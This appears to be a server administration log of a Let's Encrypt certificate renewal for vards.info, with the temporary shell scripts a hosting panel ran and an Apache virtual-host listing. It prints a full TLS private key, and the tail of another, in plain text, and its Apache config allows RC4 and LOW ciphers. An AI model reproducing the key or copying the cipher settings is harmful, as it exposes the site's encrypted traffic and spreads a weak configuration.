ad55h+mmPzYdwsvaPN8exKe5AKP/qeY0OQQh+AuUoz9fKQZQUVVNHGJECnz4AJha
9i3VmUb+CEIKTjE0JqKWA2pC1b5lVQAx8fJ1tLDmtNsxMlJPyJCAxX8GrMzPuQoF
cJps5QRINL1WCO+5/oHldBn1P68DpzzdZiLp1b8FUuhOkdMdU4UVQNVO7ai1rgAL
CxZJg4k/CNhpdEAeoNXXPCYZxFH3ylVRQYvch2cMVQKBgQDtD/1Pgf30mrZpM6m3
Xj3wXnh54hqtO3u/w3edkqo6r/buNl+EWzBu1JsDcardFjhG54zFkXpfu+w9JXLe
++wL+N51WpxnvnxMNctQc03D3k9ozfspkG00Kz0cFlowm3IjB61htsO67s1QkNwH
5s0zQijyFKFsdAwgoe1Ze9kigwKBgQDOza0JGJOciVudYCbaiR2OItl21jx0w8QB
QXY9uZumJ2VDDEz5GDGZbnPL92qGcCIKyEiry6Q18CwieZ5QIRLjj9uM9KtlZXhK
LGY3FcpGBciuqWvRV9kiUyWPkqQdR1XtAKzjmzHoT0iQp8/QwTCOlPmwJ1HqYFr3
IfGF9wN/1wKBgQCZ8whN2d1SPCa5qxNMQad3seILRQqN9VMn9Yh4jAaAlkWF7Uma
ap3JW8hPNEIB0aw6X6TLqO4Pvbps+yTeKjvgin3tOCraNJoD4+tlE3ws9vIa3al+
FIzWlD3bP6jSaCB3H0U5b7csbmhnKau6dehMoWp1y3AJPlOh3YaF1ifsgQKBgQCz
vd30NvEtL9F50jVS4bPXcwCxofi/v9rfAIeFlIns+vavNMS+B8IsSezJTYy/tjxQ
RM2sy305CDtD55KqsGRbdxBqzckegvfu9/ILVJwPCj3nWQeF1yW5CK1vwRN1Ayhy
qpCZ7qyM7kPyvngIR7Eta9wst7Ah1oeZnl3ugsf+1wKBgCs+PGYUHwkFhbOOq6GF
WvB3ExE/tI+F9gy4DUZlP6YMBn0xyKSd/NlTK38YBVNXkFA2g9WHwghjmn7yY7Fe
RK/MlDUbwNzPXUKS0Ezk/SiBpPIbVrantuMwUpaajoApE1JYAsvvMDlEIyVwTwGS
po8+OCTJvsYsYyBFHLGfLGB1
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-09-26 06:01:03: Establishing a connection
2025-09-26 06:01:03: Establishing a connection
2025-09-26 06:01:03:
PUT: /tmp/pkp684406
#!/bin/bash
if [ -d "/var/www/vards_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-09-26 06:01:03:
chmod 755 /tmp/pkp684406; /tmp/pkp684406; rm /tmp/pkp684406
2025-09-26 06:01:03:
1
2025-09-26 06:01:04: Establishing a connection
2025-09-26 06:01:04:
PUT: /tmp/pkp198070
#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
cat > AXR6ina-cXVzDeQ_qYjiYuaOisZ5OI272WH4BBG2Uss <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
AXR6ina-cXVzDeQ_qYjiYuaOisZ5OI272WH4BBG2Uss.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 AXR6ina-cXVzDeQ_qYjiYuaOisZ5OI272WH4BBG2Uss
cat > KrvijeQ76G4buqjmnOeJ__kU4c8DaX-Te3X3qbDQV2A <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
KrvijeQ76G4buqjmnOeJ__kU4c8DaX-Te3X3qbDQV2A.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 KrvijeQ76G4buqjmnOeJ__kU4c8DaX-Te3X3qbDQV2A
2025-09-26 06:01:04:
chmod 755 /tmp/pkp198070; /tmp/pkp198070; rm /tmp/pkp198070
2025-09-26 06:01:04:
2025-09-26 06:01:15: Establishing a connection
2025-09-26 06:01:15:
PUT: /tmp/pkp375039
#!/bin/bash
mkdir -p "/var/www/vards_www/.well-known/acme-challenge/"
cd "/var/www/vards_www/.well-known/acme-challenge/"
rm AXR6ina-cXVzDeQ_qYjiYuaOisZ5OI272WH4BBG2Uss
rm KrvijeQ76G4buqjmnOeJ__kU4c8DaX-Te3X3qbDQV2A
2025-09-26 06:01:15:
chmod 755 /tmp/pkp375039; /tmp/pkp375039; rm /tmp/pkp375039
2025-09-26 06:01:15:
2025-09-26 06:01:15: Establishing a connection
2025-09-26 06:01:15:
PUT: /tmp/pkp750832
#!/bin/bash
temp_file=$(mktemp)
TARGET=5c147bca0a238ba09c5472db1d5debd9.crt
cat > $temp_file <<'endmsg'
6d:c6:49:9b:36:03:7a:5b:f9:65:45:7a:46:2d:62:d1
-----BEGIN CERTIFICATE-----
MIIE/zCCA+egAwIBAgISBaTUO9ygmrR6huWd3oluOB4iMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUwOTI2MDUwMjQ0WhcNMjUxMjI1MDUwMjQzWjAVMRMwEQYDVQQD
Ewp2YXJkcy5pbmZvMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtRey
Nrz6HgLBnG+roLIuDJQiPm6SJ5bblRJxfUFjdiEPhqwqrb0uyh0XCNXEni+fEorX
7plhP6DPB/aMmlsFOQ/tU+/oRnqCs66lIATQ+HwlMg36tA1/3rkAKHsSpKCMlPfE
uI97C+ERV794vqQZP9Xdv/T5hp2WcQFsTK/YFruwN+5M17MoHY2DCLBxwKdum0/9
0PekK7yPVFIP4mT8p8snPA/4TujLkimZYdCGjQqu3SSs8ZBPZt5Ip99e1PAh6uFm
uLZdobjVyCYGYUAyMQ6GDsQmfrAjPvsAP+e3fYJvJR1RUcDUVW/sOUsdmtk0Iko9
pgiUCmu6dNQGy3C/YQIDAQABo4ICKTCCAiUwDgYDVR0PAQH/BAQDAgWgMB0GA1Ud
JQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1UdDgQW
BBTIWja7YcZYHg/4ln9f0ruUEYx+QTAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jI
soQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMu
aS5sZW5jci5vcmcvMCUGA1UdEQQeMByCCnZhcmRzLmluZm+CDnd3dy52YXJkcy5p
bmZvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6
Ly9yMTMuYy5sZW5jci5vcmcvMzUuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDv
AHYAzPsPaoVxCWX+lZtTzumyfCLphVwNl422qX5UwP5MDbAAAAGZhJyFsAAABAMA
RzBFAiB8QHiamkS1FqN5oIA0kNl6WCbjAydJX85dx9cN5QqyJgIhAIInSgCrKloy
veUe4KzoHb1GcCkEAN9cXTd+CwpKN58IAHUAEvFONL1TckyEBhnDjz96E/jntWKH
iJxtMAWE6+WGJjoAAAGZhJyFnwAABAMARjBEAiAKxEb+V/uTzVvvl472RxdxkwN+
pNzhYM3bqFb3HcbNrgIgdRq/n/oFWyMWcCRtoMekYA0sgUscZwg4A24TerOfjggw
DQYJKoZIhvcNAQELBQADggEBAJe4VAaZwawnWa8T3YFWPGwwN2sY+KRuDfEQAKgi
Gl0tHI8MEBdUeMs9ZG/BGRR1dgW3anZainEAudd2xZHURSjLinEBrFTpjlo73Xei
gte0K5BjwdAd2sUOFTJjEsAARVejq23Fkh9DxBD3nII0rhfht9MICrwE5gP4l9CQ
qKD+Ov/cEb8FqsRIpdsoWqZHqbwXfNXKqcCTRgC2dQYfiVrF0Is+IRGehZD5iAdV
nfnJOL8vHQu9nCzb5ZYULFzPEcDXlOxh10VF5h4OWNLioi2noBkn3ah9hJq1QNMl
SpOrGxCF+V8eOkacgtDWtZIhbp2q6jEE1kkmpRHvcRlZ2mY=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1F7I2vPoeAsGc
b6ugsi4MlCI+bpInltuVEnF9QWN2IQ+GrCqtvS7KHRcI1cSeL58SitfumWE/oM8H
9oyaWwU5D+1T7+hGeoKzrqUgBND4fCUyDfq0DX/euQAoexKkoIyU98S4j3sL4RFX
v3i+pBk/1d2/9PmGnZZxAWxMr9gWu7A37kzXsygdjYMIsHHAp26bT/3Q96QrvI9U
Ug/iZPynyyc8D/hO6MuSKZlh0IaNCq7dJKzxkE9m3kin317U8CHq4Wa4tl2huNXI
JgZhQDIxDoYOxCZ+sCM++wA/57d9gm8lHVFRwNRVb+w5Sx2a2TQiSj2mCJQKa7p0
1AbLcL9hAgMBAAECggEBAJ15s7HB98ZtIywEN70P9NdfYb/kqxfeKaiiVypS2Ej7
SuMTiDF5F90OGt/F9KqSQsP/FPMZUeXg0ufb0DzR9eK/JOQe9V+EXXAe6NzFE2th
mX7DhUVZj96ABdEt5PJf4qAQLXNI4flciJZDnJ47WPGX6rNoNiyHkTFHyYOOTlzE
91pbs9bu197RnvbFRZSFSihDPHyKIxzrLuP8kqJU2TxbsGbNVlkCzBCJBrn3UOWY
BzkQSRkxJxQHiRWdk6nd9RV1ZcgBSi1/6wR0HpVm3760ilnWFfxmLNYTKWVX3Brb
/dME+Sk1dcDE9wFbpdJrUCniUrm+oMF34wCVUdPhnqECgYEA2y3VDh4s+UIBcQLS
++sRMSuYnbmo4TR6MaE0m2dMYfVhY3fvO6aSmqO0cpNlkz9Uljs0ccD9OF4KfW90
Ml6s1pUR0OKhiMePeSWa1pUPSCW0oBsTcF28JW8iv09XWT3jVKPSyldjxXD0lBVc
NT95QCFGWskhz9hUNPHWs80QTyUCgYEA04Pj8R4mtxDn1ZOa565QUr1StwM3cMsM
KD+XgBM+NqCaRmsv5+MdM1nm2QuJNGpt2hlLIYQGr7HgiYPWLT7+q4MLFweBt5Qj
vEuVB08Jdc+R9DCeNtBWsYcAkUEy78usUzCTMsLGyXQyNx0Vn581SQzoaQe2l32e
JSfj1/hMCI0CgYAZFSmor/NdoxwfHr+ebMxO4Dpa8oBNJYBGZbhrgGrRWw+GHpeW
L/3fDJT997hMHZdEign6aqeP59Mzf6nAie0lsXGUghsSWCQnLRKHNA/HpekB2Zdj
6JY7gnhrhFzurZJygT0CQvX8Bm029SrUPStXF3fBs/rWml8on/R+Jx2SsQKBgCPK
w72/jmmYEMMRcTsXQjxeESsq/iy2D16YNDjWCMcRskmMRdUFl6Fi6y97RkJ6aBBq
C06mmsMMZKSgjJOnf0zipfPFr2uzQ8DPQW61LzKiZ15dA8jexGzSHYR29fmiC40g
QShr0Vuxr/WnlEsok8nCx2lOhtVnymUbNPEM8UDZAoGBALdSWbLd3ZW/wt9wqn2e
pt//NlNnxvHLTQZOaWJ+yq93ebyP2OzkHAee8/sMrXgHd5gu8A5V8Zapi8eh3Kls
ZFfMZt1hqRvJsFVA/0JtE71n7ucO5Uk51Qh7704xkuAmKoPhYPSR/pwmp0L0Im6/
mhZUQ8+7uZ6/KDGRCFhGjQgC
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-09-26 06:01:15:
chmod 755 /tmp/pkp750832; /tmp/pkp750832; rm /tmp/pkp750832
2025-09-26 06:01:15:
dir=/etc/ssl/certs
2025-09-26 06:01:15:
PUT: /tmp/pkp908565
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/vards_www_info.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-09-26 06:01:15:
chmod 755 /tmp/pkp908565; /tmp/pkp908565; rm /tmp/pkp908565
2025-09-26 06:01:15:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/vards_www_info.conf 38
<VirtualHost *:80>
ServerName vards.info
ServerAlias www.vards.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/vards_www
<Directory /var/www/vards_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/vards/www_access.log combined
ErrorLog /var/log/apache2/vards/www_error.log
SetEnv pkp_uid 57
SetEnv pkp_owner vards
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName vards.info
ServerAlias www.vards.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
DocumentRoot /var/www/vards_www
<Directory /var/www/vards_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/vards/www_secure_access.log combined
ErrorLog /var/log/apache2/vards/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-09-26 06:01:15:
PUT: /tmp/pkp382422
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=vards_www_info.conf
TARGET=/etc/apache2/sites-enabled/vards_www_info.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName vards.info
ServerAlias www.vards.info
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/vards_www
<Directory /var/www/vards_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/vards/www_access.log combined
ErrorLog /var/log/apache2/vards/www_error.log
SetEnv pkp_uid 57
SetEnv pkp_owner vards
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName vards.info
ServerAlias www.vards.info
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/5c147bca0a238ba09c5472db1d5debd9.crt
DocumentRoot /var/www/vards_www
<Directory /var/www/vards_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/vards/www_secure_access.log combined
ErrorLog /var/log/apache2/vards/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/vards_www_info.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/vards_www_info.conf)= /etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/vards_www_info.conf= 1'
fi
2025-09-26 06:01:15:
chmod 755 /tmp/pkp382422; /tmp/pkp382422; rm /tmp/pkp382422
2025-09-26 06:01:15:
2025-09-26 06:01:15:
PUT: /tmp/pkp692730
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-09-26 06:01:15:
chmod 755 /tmp/pkp692730; /tmp/pkp692730; rm /tmp/pkp692730
2025-09-26 06:01:15:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-09-26 06:01:15: Establishing a connection
2025-09-26 06:01:15:
PUT: /tmp/pkp303354
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-09-26 06:01:16:
chmod 755 /tmp/pkp303354; /tmp/pkp303354; rm /tmp/pkp303354
2025-09-26 06:01:16:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
alias www.baptizo.info
port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
alias www.bible-basics.info
port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
alias www.biblebasicsonline.com
port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
alias www.carelinks-uk.org
port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
alias www.carelinks.org.uk
port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
alias www.carelinksoutreach.info
port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
alias www.christadelphianfraternal.info
port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
alias www.croydonchurch.info
port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
alias www.dalmenynaroomabushwalkers.info
port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
alias www.freebible.info
port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
alias www.maminas.info
port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
alias www.osnowybiblii.info
port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
port 80 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
alias www.r-b-c.org
port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
alias www.realchrist.info
port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
alias www.vards.info
*:443 is a NameVirtualHost
default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
alias www.baptizo.info
port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
alias www.bible-basics.info
port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
alias www.biblebasicsonline.com
port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
alias www.carelinks-uk.org
port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
alias www.carelinks.org.uk
port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:19)
port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
alias www.carelinksoutreach.info
port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
alias www.christadelphianfraternal.info
port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
alias www.croydonchurch.info
port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
alias www.dalmenynaroomabushwalkers.info
port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
alias www.freebible.info
port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
alias www.maminas.info
port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
alias www.osnowybiblii.info
port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
alias www.r-b-c.org
